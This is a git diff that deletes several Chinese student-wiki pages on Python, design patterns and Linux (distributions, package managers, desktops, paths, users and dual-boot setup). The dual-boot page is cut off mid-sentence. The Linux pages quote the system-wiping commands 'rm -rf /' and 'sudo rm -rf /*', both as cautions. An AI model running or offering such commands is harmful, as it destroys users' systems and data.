是一门简单易学的脚本语言学会,其能做的事情也很多,常见的就有网络爬虫,数据分析,前端开发,[机器学习](https://www.zhihu.com/search?q=%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0&search_source=Entity&hybrid_search_source=Entity&hybrid_search_extra=%7B%22sourceType%22%3A%22answer%22%2C%22sourceId%22%3A%222550582151%22%7D),都能很好地提高工作效率。 - -对于计算机科学的学生来说,python 不会设置专门的课程教你而是会要求你在假期内自学,因为其丰富的库函数和简洁的语法让 python 可以轻松完成一些本来非常难做到的事情。 - -[如果各位想要以查阅字典或者线性的方式了解一下不要看菜鸟教程!来看看这个](https://docs.python.org/zh-cn/3/tutorial/index.html),手册的是第一手资料正确性很高,或者说他基本不会出错! diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.X 聊聊设计模式和程序设计.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.X 聊聊设计模式和程序设计.md deleted file mode 100644 index c430822..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.X 聊聊设计模式和程序设计.md +++ /dev/null @@ -1,81 +0,0 @@ -# 3.X 聊聊设计模式和程序设计 - -*Author: yyl - Last revised 2022/08/07* - -## 前言 - -在开始讲内容之前,我觉得我得首先聊一聊到底为什么我们需要这些东西。为什么我们会需要设计模式呢? - -这个问题并不可笑,也不幼稚,事实上,很多东西红极一时,最终却被历史证明是不被需要的。类似的事情太多了,可以是一种理念,比如日心说,可以是一种产品,比如软驱、RAMBUS 内存,等等。历史已经丢弃了太多不被需要的东西了。 - -学习本身是有成本的事情,如果在开始之前能够理解为什么要开始就更好,尽管很多时候我们做不到这件事,但也不能忘了这件事。 - -上个世纪 80~90 年代的时候,人们试图通过“设计模式”这一工具,抽象总结所有的软件设计方法,构建一个无敌的知识库。最终使得软件工程就像堆积木一样简单,避免软件随时间变得杂乱的熵增问题,但毫无疑问这是失败的,你永远无法抽象总结所有东西,设计模式的巅峰,可能是在 JDK 之中。在阅读 Java 自身提供的诸多 API 时,你会发现其中蕴藏了大量的设计模式,而且是赤裸裸地把使用了的设计模式写在了类名中,如“XXXListener”,很少有另一个语言也是这样的。 - -设计模式并没有完全成功,但也没有完全失败。他现在以一种“术语”的形式存在,帮助人们理解常见的编程范式。——这是什么意思呢?举个例子,如果你尝试和同事说明你的一个设计时,你说,它首先有两个类,一个类提供了一个通用的接口,可以被另一个类注册,另一个类则负责把所有的动作通知给已经注册的类。这种说法显然非常繁琐,对方也未必能理解你的意思。但如果你说,这里使用了监听者模式,如果你的同事碰巧学习过一些设计模式,他就能立即理解你的意思。即使他没有学习过相关知识,只要简单百度一下也能理解个大概。这是当今设计模式的一个重要作用。 - -另一个重要作用则是它的本源了,用于总结抽象程序设计的范式。但并不是说要你写的所有代码能用设计模式的就都用设计模式,这更多是提供给你一种选项,让你能够充分权衡。关于这部分,下文还会有说明。 - -目前的设计模式,主要集中在如何避免程序复杂度上。 - -什么是程序复杂度呢?就是说你今天写了个软件,明天给他加功能的时候发现这个程序不怎么可维护,于是直接在之前的逻辑上加了个 if,你的一个 if 通常不会有什么大问题,程序复杂性问题是日积月累的。随着大家都在不同的地方写自己的 if,整个程序最终会变得不可维护。可能一个微小的改动会导致很多地方的 if 出现不符合预期的判断,可能终有一天有一个需求无法再用 if 来实现,等等。 - -为了解决这个问题,设计模式使用的方法是原则,通过制定一系列的原则,并确保大家都遵守,来避免代码腐烂。 - -## 拿个锤子,见什么都是钉子 - -设计模式,或者说广义的程序设计架构的初学者,很多都会想去设计一个“完美的架构”。 - -当就像计算机程序设计本身是关于权衡的艺术一样,学习程序架构也不能看见什么都上架构。下面举例子具体说明。 - -你要设计一个小程序给自己用,这个程序的作用是定时读取一边本地硬盘上的全部文件,通过 sha256 算法生成每个文件的文件摘要,比对文件是否遭到篡改,如果遭到了篡改就报个警。 - -如果你没有学习过这些乱七八糟的设计模式,我想你大概会这么做: - -main(): - -walk("/"); - -walk(String path): - -For file : os.listfile(path): - -// 检查文件摘要 - -For dir : os.listdir(path): - -walk(dir); - -但如果你很不幸,学习过一些设计模式,或者说有一些程序设计经验,你会开始考虑一下问题: - -1. 我用什么语言实现?这个语言的代码文件组织有没有推荐的架构?(比如,第三方包引用了放在哪里?文件加密的 util 是放在内部还是封装成可供其他人引用的三方包?) -2. 选用什么样的依赖管理机制? -3. 编译最终产物的时候用什么工具,make 还是 maven 还是 gradle 还是 shell 还是 python?... -4. walk 能不能兼容不同平台的系统?在 win 下面能不能用? -5. 有没有什么设计模式可以用?(开始翻书) -6. 卧槽,用官方推荐的组织架构的话这个程序有点单薄啊,要不要加点功能上去 -7. ... - -要明白,拿着个锤子绝不能看什么都是钉子。 - -设计模式本身也是权衡的艺术,我们今天经常说的东西,比如 DDD,SOA,微服务,monorepo,也都是一种广义的设计模式。权衡什么呢?权衡的是:是要维持程序在发生功能变动时的可拓展性、降低程序维护复杂度,还是追求程序的快速实现。 - -拿上文的例子来说,如果你的所有程序都是在运行 Linux 上的,这个也只是给你自己快速检查文件完整性,之后也几乎不存在增加新的功能的可能,为什么不随便找个脚本语言快速十几行写完呢? - -## 如何学习 - -个人认为,现在所谓的设计模式分两种,第一种是狭义的设计模式,就是各种设计模式的堆积。 - -此外,还有广义的设计模式,这块内容就很多了,但也是讨论如何降低代码复杂度的,包括: - -1. 程序代码怎么组织(在开发 web 应用时这块经常有争议,可以参考 [浅析整洁架构之道 (二) 初步了解 The Clean Architecture](https://cloud.tencent.com/developer/article/1837487)) -2. 程序之间怎么组织(是放在一个编成个大的,还是微服务,还是用 FaaS 之类的变体) -3. 一些帮助减少程序复杂度的代码原则:[设计模式之 SOLID 原则](https://zhuanlan.zhihu.com/p/82324809) - -这部分的学习不能操之过急。个人的建议是: - -1. 学习一些设计模式,看完两次肯定没什么感觉,甚至会觉得看了个寂寞(可以先看看 Head first 设计模式) -2. 忘了他,去写你自己的代码,遇到复杂度诅咒了再考虑如何解决 -3. 读他人的优秀代码,想一想这里他为什么要这么写,换成是你的话会怎么写,各自有什么利弊 -4. 重复 1 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y 附加模块:Linux.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y 附加模块:Linux.md deleted file mode 100644 index ed37e4d..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y 附加模块:Linux.md +++ /dev/null @@ -1,63 +0,0 @@ -# 附加模块:Linux - -::: warning 😇 本来这个模块在编程模块内,但是鉴于大家都反应做这一块非常难,因此我将他提出作为一个额外的附加模块。 - -如果你想尝试使用 Linux 编程或者想了解更多计算机科学领域知识,你可以学习并阅览本部分内容。 - -当然你也可以先尝试完成第三部分的一些内容再回过头解决本部分的内容。 - -可能会花费你大量的时间,并且让你感受到非常困难,但是可以保证的是:你的一切投入,都是有收获的。 -::: - -## What???Linux??? - -大家可能知道我们的电脑是 Windows 作为操作系统的。 - -而 Linux 也是一款有趣的开源的操作系统 - -它既免费也自由 (能知道它内部的实现),而且互联网上有丰富的 (英文) 文档。 - -它的设计继承自“Keep it simple, stupid”的 UNIX,这个经典的设计背后的动机反而更容易为第一次接触操作系统的初学者所理解。让我们看看它的威力: - -- 首先,操作系统里的一切对象都用文件表示 (Everything is a file)。进程、设备……都可以在任何编程语言里用文件 API 访问。 -- Linux 的命令行 Shell 是一门编程语言——没错,你每天都在“编程”!更准确地说,Shell 的功能就是把你想要做的事情 (类似自然语言描述的代码) 翻译成操作系统能看懂的文件/进程管理 API 调用。 - -## Why Linux??? - -作为一个双系统用户体验者来说,他除了玩游戏不那么方便以外,可以更为高效且便捷的办到 Windows 费很大力气才能办到的事情。 - -并且相当多的开发软件在 Linux 上有更好的兼容性,而到 windows 上你将会花费大量的时间配置各种环境变量还容易出错。 - -并且目前,服务器上为了保证低损耗,高效率,基本上百分之九十九都是 Linux 的系统,实验室的服务器也是 Linux 系统。 - -简单来说就是,你如果想干点事情,肯定要靠 Linux,因此学会 Linux 的操作是不可或缺的 - -而且我个人认为,linux 的自由性对于 CSer 来说非常适合,他不会阻止你干任何操作,你可以充分体会所以你的命令带来的影响 (rm -rf /) - -### GUI 与 CLI - -诚然,我们现在的图形化界面(GUI)已经深入到了生活的方方面面,但是优劣如何对比呢? - -[Command line vs. GUI](https://www.computerhope.com/issues/ch000619.htm) - -这篇文章详细对比了图形化界面和单纯的终端命令的优劣 - -## How Linux??? - -那么这么好的东西哪里可以获得呢? - -因为 Linux 有诸多发行版本,我在这里建议大家使用 Ubuntu22.04 作为主要版本进行使用 - -如果你很猛,去试试 arch! - -任务:装 Ubuntu22.04 或者 debian,如果你想删了自己的系统,可以试试 deepin,当然,也会有一些兼容性问题,不过会支持一些中文软件 - -tip1:推荐这个 [3.Y.3VMware 的安装与安装 ubuntu22.04 系统](3.Y.3VMware%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E5%AE%89%E8%A3%85Ubuntu22.04%E7%B3%BB%E7%BB%9F.md) - -tip2:可以使用 WSL[3.Y.4WSL 的安装](3.Y.4WSL%E7%9A%84%E5%AE%89%E8%A3%85.md),但是我更建议实装到电脑上双系统之类的,正好锻炼一下装系统倒腾的能力。大可不必删了 windows 换成 ubuntu。 - -tip3:前两个 tip 二选一。 - -在开始之前,建议先阅读[3.Y.1Linux概念普及](3.Y.1Linux概念普及.md),了解一些基本概念,**免得把系统搞坏了**,尤其是 WSL 有可能把 Windows 也一块带走,**之前就有群友做到过**。 - -任务:阅读 GUI 与命令行之间对比的文章,尝试开始阅读英文文章 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.0计算机教育中缺失的一课.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.0计算机教育中缺失的一课.md deleted file mode 100644 index fc4069a..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.0计算机教育中缺失的一课.md +++ /dev/null @@ -1,31 +0,0 @@ -# 计算机教育中缺失的一课 - -Author : ek1ng , Data : 2023.07.24 , Mail : - -## 计算机教育中缺失的一课 -> -> [https://missing-semester-cn.github.io/](https://missing-semester-cn.github.io/) -> [https://ek1ng.com/Missing%20Semester.html](https://ek1ng.com/Missing%20Semester.html) - -这是一份国外的课程,主要专注于各类工具的使用,可以看一看课程的介绍: - ->大学里的计算机课程通常专注于讲授从操作系统到机器学习这些学院派的课程或主题,而对于如何精通工具这一主题则往往会留给学生自行探索。在这个系列课程中,我们讲授命令行、强大的文本编辑器的使用、使用版本控制系统提供的多种特性等等。学生在他们受教育阶段就会和这些工具朝夕相处(在他们的职业生涯中更是这样)。 ->因此,花时间打磨使用这些工具的能力并能够最终熟练地、流畅地使用它们是非常有必要的。 - -以及相应的目录: - -- **1/13**: [课程概览与 shell](https://missing-semester-cn.github.io/2020/course-shell/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//course-shell-solution) -- **1/14**: [Shell 工具和脚本](https://missing-semester-cn.github.io/2020/shell-tools/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//shell-tools-solution) -- **1/15**: [编辑器 (Vim)](https://missing-semester-cn.github.io/2020/editors/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//editors-solution) -- **1/16**: [数据整理](https://missing-semester-cn.github.io/2020/data-wrangling/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//data-wrangling-solution) -- **1/21**: [命令行环境](https://missing-semester-cn.github.io/2020/command-line/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//command-line-solution) -- **1/22**: [版本控制 (Git)](https://missing-semester-cn.github.io/2020/version-control/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//version-control-solution) -- **1/23**: [调试及性能分析](https://missing-semester-cn.github.io/2020/debugging-profiling/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//debugging-profiling-solution) -- **1/27**: [元编程](https://missing-semester-cn.github.io/2020/metaprogramming/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//metaprogramming-solution) -- **1/28**: [安全和密码学](https://missing-semester-cn.github.io/2020/security/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)[![](https://img.shields.io/badge/Solution-%E2%9C%94-green)](https://missing-semester-cn.github.io/missing-notes-and-solutions/2020/solutions//security-solution) -- **1/29**: [大杂烩](https://missing-semester-cn.github.io/2020/potpourri/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)![](https://img.shields.io/badge/Solution-%E2%9C%98-orange) -- **1/30**: [提问&回答](https://missing-semester-cn.github.io/2020/qa/)![](https://img.shields.io/badge/Chinese-%E2%9C%94-green)![](https://img.shields.io/badge/Update-%E2%9C%94-green)![](https://img.shields.io/badge/Solution-%E2%9C%98-orange) - -目录中的内容和这份`Wiki`中不少内容重合,当然我觉得作为一份校园学生为爱发电多人合作编辑的`Wiki`,内容有重复冗余再所难免。我比较推荐以这份教材作为计算机工具的学习,下面是我大一时学习课程的一些记录,这些课程都比较缺少一些中文的文章,能够直接看英文的一些材料当然很好,但是如果遇到一些困难,也许你可以在这里找到我先前所踩的坑。 - -> [The Missing Semester of Your CS Education](https://ek1ng.com/Missing%20Semester.html) diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.1Linux概念普及.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.1Linux概念普及.md deleted file mode 100644 index 74a7079..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.1Linux概念普及.md +++ /dev/null @@ -1,173 +0,0 @@ -# Linux 概念普及 - -## Before Start - -在使用 Linux 之前,请确保自己会使用计算机。如果 Windows 都玩不转的,可以先补下基础知识。 - -- 什么是文件?什么是文件系统? -- 操作系统是干什么的? -- 软件是怎么运行起来的? - -## What is Linux Distribution - -Linux 不同于 Windows 和 macOS 这类系统,它没有官方维护的版本。Linux 的官方只负责维护核心,而给这个核心加上各种软件变成能用的操作系统的重任,就交给了下游的各个组织和公司。所谓发行版,就是把一系列的软件和核心放在一起,经过测试之后,做成一个完整的系统,分发给用户。 - -这个模式给 Linux 提供了多样性。用户可以选择适合自己的发行版。虽然在早期这使适配软件变得有些困难,使不同发行版割裂开来,给 Linux 的发展带来了阻碍。但是现在是 2023 年,随着包管理的规范化和新一代打包系统的兴起,这个状况得到了极大的改善。现在我们可以自由选取发行版,而不用过度担心软件适配的问题。 - -简而言之,GNU/Linux 加包管理加桌面约等于发行版,虽然不严谨,但是差不多贴近事实。 - -### Package Manager - -一般来说,一个 Linux 的发行版最核心的部分是包管理模式。这通常通过包管理器和软件源实现。 - -包 (package) 类似 Windows 的安装包,它包含了要安装的软件以及一些额外的信息,但是同 Windows 安装包不同,它只是一个压缩包,不能自己运行安装,必须经过包管理器。用户很少需要直接下载安装它,而是通过包管理器。我们也不鼓励安装不在仓库里面的包,如果系统软件源里面没有可以去 flatpak。至于某些专有软件,我更推荐丢进 Windows 10 LTSC 虚拟机。 - -包管理器 (package manager) 负责安装和管理软件包。它读取软件包,按照软件包的要求去安装它的依赖 (通常是一些运行库,就像 Windows 下面的 VC++ 和 .NET),然后自动把包安装到规定的位置。 - -软件源 (repository) 是用来存放软件包的网站。包管理器就是从软件源服务器上下载包的。因为软件源通常在国外,软件包下载可能会比较慢。所以我们一般使用国内各个高校的镜像源,修改软件源的地址就是所谓换源。 - -有些人可能会纠结软件装到哪里去了,是装在什么盘上面了。这个不需要管。因为 Linux 的目录的定义和 Windows 有很大不同,这使得一些 Windows 上面的繁琐操作在 Linux 上面很多余。 - -这些常见的包管理器 - -- apt(dpkg): apt 是 Debian 系发行版的包管理器。基本上提供 Linux 安装包的软件都会支持。 -- pacman: Arch 系的包管理器。可以使用 AUR(Arch User Repository),这里也能找到很多软件。 -- rpm: Red Hat 系的包管理器。包比较少。只是由于中文互联网有很多死去的 CentOS 的教程遗留,所以提出来介绍一下。 -- dnf: Fedora 的包管理器。 -- flatpak: 通用包管理器,是个 Linux 桌面端都能安装使用。使用的 flathub 软件源上面有非常丰富的桌面软件支持(甚至有 QQ),建议发行版软件源里面没有的都可以先看看 flathub 有没有,如果有就 flatpak 安装,而不是拿着网站上面下过来的 deb 文件手动安装,这样很容易搞坏系依赖管理。 -- snap: 通用包管理器,只有 Ubuntu 强推。我建议使用 Ubuntu 的把这个卸载了换成 flatpak 避免影响使用体验。 - -不同的包管理器决定了不同的发行版。因此一般用包管理器做发行版的分类依据。 - -### Desktop Environment - -桌面环境对用户而言当然也是很重要的,很大程度决定了用户体验。在 Linux 上面,桌面只是一些普通的程序,可以随便安装和更改。所以会有很多的桌面可供选择。不过这个选择一般来说发行版都帮你选好了。 - -#### Gnome - -Gnome 曾一度成为 Linux 桌面的代名词,因为很多发行版默认会安装这个桌面。Gnome 的风格比较独特,有点类似 macOS,但是有不少自己的东西。对触控板手势的适配不错。 - -开箱状态连任务栏和桌面图标都没有,好在可以手动安装。一般各个发行版默认安装了 dash-to-dock(任务栏),desktop-icons(桌面图标) 这些插件。 - -设置比较少,不过可以通过 gnome-tweaks 补上。这样基本的设置都能覆盖。 - -#### KDE - -KDE 也是非常热门的桌面。类似 Windows 的操作逻辑和极强的可定制性让他更适合 Linux“玩家”。 - -比较旧的版本里面可能会默认单击打开文件夹,可以在工作区 (workspace) 设置中改成双击。 - -KDE 的 GUI 功能做的还是不错的。而且提供了不少有用的套件。 - -Discover 应用商店可以直接使用发行版包管理器和 flatpak 进行安装,收录了很多软件,并且可以自动进行系统更新检查。 - -设置里面的选项很多,可以随便改。喜欢折腾的可以去看看 Theme,只是系统自带的主题安装器需要哈利波特才能使用。 - -自带的代理设置有些软件不会读,比如 Firefox, 给这些软件单独设置一下就行。 - -#### Cinnamon - -Cinnamon 目前大众的发行版只有 Linux Mint 在支持,但是这也是个不错的桌面,适合小白。 - -#### Xfce || LXQT - -如果你有一台老爷机,这两个桌面也许是个不错的选择。 - -#### Display Manager - -在开机登陆用户的时候,那个让你输密码的界面并不是桌面,而是 DM(Display Manager),如果你有多个桌面,可以在这里切换。 - -我建议不要管这个,发行版用什么就跟着用。如果要自己安装都建议 SDDM。 - -#### Wayland and X11 - -显示服务器是比桌面更底层的东西,处在系统内核和桌面之间,用来管理窗口。这个一般碰不到,只要了解你使用的是 X11 还是 Wayland 就行。X11 是老的,Wayland 是新的。 - -现在 (2023 年) 的时间点非常尴尬,处于 X11 和 Wayland 换代的节点上面。一方面 X11 太老旧了 (十几年没有大更新了) 对有些新事物支持不好,比如 2k 屏幕 1.5 倍缩放的屏幕撕裂问题。另一方面 Wayland 支持虽然已经大致完善,但是有些死硬派没跟上,说的就是你,Nvidia! - -好在大多数发行版并不需要纠结这些。非 N 卡的 Gnome 和 KDE 桌面基本都是 Wayland 了,其他的桌面环境或者使用 N 卡都会用 X11。 - -但是有些发行版可能忘了给 N 卡换 X11, **如果你桌面登不进去**,请检查自己的环境是否是 Wayland,如果是,**换成 X11**。 - -如果你 N 卡要强开 Wayland,请参照自己使用的发行版的 wiki 以及 Arch Linux wiki, 看看有什么需要注意的点。 - -## Distro - -大多数发行版是基于某几个特定的发行版魔改的。所以会有“系”的说法。常见的有 Debian 系,Arch 系 Red Hat 系和 SUSE 系。其中 Red Hat 系主要面向企业,桌面版除了 Fedora 并不多见。 - -服务器发行版建议 Debian,用 Ubuntu 也是可以的。如果在中文互联网找资料可能会见到 CentOS,但是 CentOS 如今已经停止维护了,所以看到之后绕着走就行。 - -在[3.Y.2 双系统安装和发行版推荐](./3.Y.2双系统安装和发行版推荐.md) 推荐的发行版都是针对**双系统/单系统方案**的,因为在实机安装日常使用的时候,发行版对体验的影响才会体现出来,这样我写下的文字就会帮你剩下不少时间。 - -**对于虚拟机**,你不会在乎用户体验的,安装完新鲜感一过肯定就不打开了,偶尔遇到什么必须要用 Linux 的需求才会突然想起来有这个虚拟机。所以发行版**选择 Ubuntu 即可**,毕竟人气最高。要是对着百度上面刚刚找到的教程一顿猛敲之后,发现发行版不一样,那 Linux 就又风评被害了。 - -在安装系统的时候,建议安装时统一使用 English,装好之后再换成中文或者干脆不换。 - -对某些很新的硬件,比如 13 代酷睿和 40 系 N 卡 (2023 年),在其他发行版出现兼容性问题的情况下,可以使用 Debian 或者 Arch Linux 等等靠近上游的发行版,他们通常支持得比较好。 - -## Linux How to? - -### Directory - -在 Linux 中,文件目录结构与 Windows 完全不同。Windows 存在 C 盘、D 盘等盘符,而在 Linux 中不存在这些划分,最上层的目录是根目录,路径为 `/` ,并以一个树形结构从此向下一级一级区分。没有盘符,只有路径。虽然可以多分区,但是分区是挂载到某个路径的,而不是分配盘符。用 Windows 的思维去理解就是盘符没了,全部挂进文件夹里面了,从 / 开始是根分区,就像 C 盘,`/` 底下有 `usr` `home` `var` 等等文件夹,这些文件夹可以是普通文件夹,也可以让其他磁盘分区当这个文件夹。分区还可以挂载到 `/media/root/abcd` 。这样的好处很明显,就是在路径上面模糊了分区,分区的地位和普通文件夹差不多了,非常简单,对写程序很友好。 - -因为舍弃了盘符的概念,一般我们在 Linux 系统上仅仅使用一个挂载到 `/` 的分区 (简称 `/` 分区) 或者一个 `/` 分区和一个 `/home` 分区。这样分区可以得到充足的空间,所以不会出现 C 盘装满了或者 C 盘文件多导致开机慢的情况,也就没有必要支持自定义的安装目录。 - -对于 Linux 的树形文件结构,存在相对路径与绝对路径之分。绝对路径是代表从根路径 `/` 开始的完整路径,如 `/home/testuser/Download`。相对路径代表从当前目录,到目标目录的一个部分路径。比如当前你所在的目录为 `/home/testuser`,那么切换到绝对路径 `/home/testuser/Download` 的相对路径即为 `./Download`。其中 `./` 代表从当前目录,再向下寻找。另外,`..` 这种两个句点代表的是向上层寻找,比如你当前所在的路径为 `/home/testuser/Download`,向上寻找到 `/home/testuser/Desktop` 的相对路径即为 `../Desktop`。 - -当前用户的 home 文件夹简称为 `~/`,假设我们的用户名是 `user`: - -```bash -user@computer:~$ cd ~/ -user@computer:~$ pwd -/home/user -``` - -### User - -Linux 在设计之初就是一个多用户操作系统,不像潜伏在多用户操作系统里面的纯正单用户操作系统 Windows。 - -![](https://cdn.xyxsw.site/windows-single-user.jpeg) - -因此,Linux 对于用户和权限的管理比较严格,可能经常要你输 root 密码。 - -简单来说,Linux 中存在两类用户。第一类用户即为 root 用户,也称为超级用户,它拥有系统中最高的权限。第二类用户就是除了 root 用户的普通用户,他们可以拥有不同等级的权限。使用 root 权限时需要十分小心。 - -一般情况下,我们使用的都是普通用户。但是要进行一些涉及较高权限的操作,比如安装软件和修改系统设置的的时候,我们就会使用 sudo 软件临时切换到 root 用户进行操作。 - -```bash -# 一些例子。 -# 当你尝试安装 vim ,却忘记了 sudo -$ apt install vim -E: Could not open lock file /var/lib/dpkg/lock-frontend - open (13: Permission denied) -E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), are you root? -# 这样就可以安装了 -$ sudo apt install vim -``` - -切记,root 权限的使用要小心,不要随便粘贴指令!一条命令就可以干掉整个系统,比如 `sudo rm -rf /*`! - -### 本土化 - -想要正常使用系统,哈利波特是必须的。建议跟着[这篇教程](https://arch.icekylin.online/guide/rookie/transparent.html)走,但是 Debian 系没有这个软件,自己去 Github 上面找这个软件。 - -发行版会有一个全局的代理设置,但是有些软件就是不肯自己读取,点名 Firefox。不过好办,分别单独设置就行。 - -由于海外的服务器下载慢,我们会把软件源换成国内各个高校的镜像。这点参考镜像站给出的教程。 - -输入法一律推荐 fcitx5 搭配 fcitx5-chinese-addons,并打开云拼音。不推荐 rime,太老了。强烈不推荐搜狗,搜狗使用的是 fcitx4 框架,太老了。一般来说 Debian 系的发行版都有一个叫做 im-config 的软件包负责管理输入法,快捷方式名字通常是叫做 Input Method,在这里切换到 fcitx5 就行。Arch Linux 系则需要自己设置环境变量。 - -2024 年更新:rime-ice 也是个不错的输入法,并且支持 ibus, Ubuntu 用户也许可以选择,这样不需要动默认输入法设置,虽然我更推荐再装一个 fcitx5。 - -### 如何寻求帮助 - -首先阅读[提问的智慧](https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main/README-zh_CN.md),这对提升个人素养很有帮助。也有助于和能够提供帮助的人有效交流。 - -一般来说,各个发行版都有自己的 Wiki,里面介绍了发行版本身的特点,常用的软件和各种问题的解法。但是有些发行版的 wiki 年久失修,可能会过时或者缺失内容导致无法解决问题。这时候可以其他发行版的 wiki,只要了解发行版之间的差异,自己适度发挥,也能解决问题。推荐的有 [Arch Linux wiki](https://wiki.archlinux.org) (神中神,非常推荐) 和 [Debian wiki](https://wiki.debian.org) (Debian 系可以看),他们的社区比较活跃,维护比较积极。 - -社区是 Linux 当中重要的组成部分。发行版通常有自己的论坛,邮件组和 IRC 频道。如果你确信你面对的是一个全新的问题,网上找不到已有的解决方案。或者你的能力不足以找到解决方案。可以尝试在这些地方求助。保持良好的态度,尽可能详细地描述问题,相信会有志愿者来解答的。 - -### 推荐阅读 - -- [archlinux 简明指南](https://arch.icekylin.online/): 虽然是 Arch Linux 的教程,但是写的很好,其他发行版也能参考。 -- [Linux 就该这样学](https://www.linuxprobe.com/docs/LinuxProbe.pdf): 不错的书,适合长期看。 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.2双系统安装和发行版推荐.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.2双系统安装和发行版推荐.md deleted file mode 100644 index 5d520ef..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.2双系统安装和发行版推荐.md +++ /dev/null @@ -1,613 +0,0 @@ -# Distro - -这篇文章是关于双系统的发行版推荐,如果只是想尝试 Linux, 暂时没有长期使用的打算,可以直接跳过。 - -## 前言 - -我接触桌面版 Linux 有些年头了。 -Linux 省了我不少时间,也花了我不少时间。也算用出点心得了,知道 Linux 有多必要,也知道有多坑。 -曾经我试图寻找一个“最好的”版本向新人推荐,事实证明这样的想法是走了弯路。 -现在我敢说没有一个发行版能完全做到“新手友好”,都或多或少存在一点坑。与其寻找一个“终极”发行版,不如列一个发行版选择清单,可以根据自己的需求选择。给常见坑摘要,提供修复方法,或者给出某个发行版出现致命问题时给出替代选择。争取让入门 Linux 难度降下来。 - -## Notice - -::: warning -再次声明:这篇文章是关于双系统的发行版推荐,如果只是想尝试 Linux, 暂时没有长期使用的打算,可以直接跳过。 -请仔细阅读本文,并按照步骤操作,否则可能会**导致系统无法使用甚至丢失数据**。建议提前**备份数据**,避免手误。 -::: - -双系统安装时,**关闭快速启动,关闭安全启动,关闭 Bitlocker**! - -已知快速启动开启时,Windows 会锁定无线网卡和硬盘等硬件,导致 Linux 无法使用。关闭快速启动可以在主板或者 Windows 上面设置。建议在 Windows 上面设置。[如何关闭快速启动(知乎)](https://zhuanlan.zhihu.com/p/589927741) - -大部分 Linux 发行版不支持安全启动,因为要给微软交钱。事实上这个功能对安全性没有太大作用,请在主板的 BOIS 设置内关闭。如果听说过引导区病毒并且很确信自己需要防御的,可以自行解决签名问题,这里限于篇幅不会给出。 - -Bitlocker 可能会自杀最好关掉。如果你很确信自己有加密需求,建议提前备份所有重要数据,并准备 [WePE](https://www.wepe.com.cn/download.html) 和 [Windows 安装镜像](https://www.microsoft.com/en-us/software-download/windows10),随时准备修复。 - -我们始终建议使用包管理器。目前已知的除了 VSCode 需要手动安装,其他的都尽量使用系统自带和 Flatpak。 - -## USB-live - -在开始之前,请准备一个空的 U 盘。 - -建议使用 [Ventoy](https://www.ventoy.net/cn/index.html) 这款工具制作可启动 U 盘,这样可以直接把 ISO 文件拖进 U 盘,在先后安装不同发行版的时候不需要反复烧录 U 盘。 - -但是这个方案无法使用某些 iso,比如 Debian 的 DVD 镜像就会因为找不到挂载点而失败。这时候你可能需要使用 [rufus](https://rufus.ie/zh/) 对 U 盘进行烧录。 - -## Beginner - -列出常见的开箱即用发行版,不一定推荐,但是总觉得得提两句,方便选择。 - -### Debian based - -由于大部分 Debian 系发行版使用同样的安装程序,只有一些细微的差别,所以我只给出 Linux Mint 的详细安装教程,其他发行版提出一些要点即可举一反三。 - -这类发行版使用的都是 apt 包管理器,大多数软件都是互通的。 - -#### Linux Mint - -就我个人认为,对新手来说 Linux Mint 是个不错的入门发行版。它基于 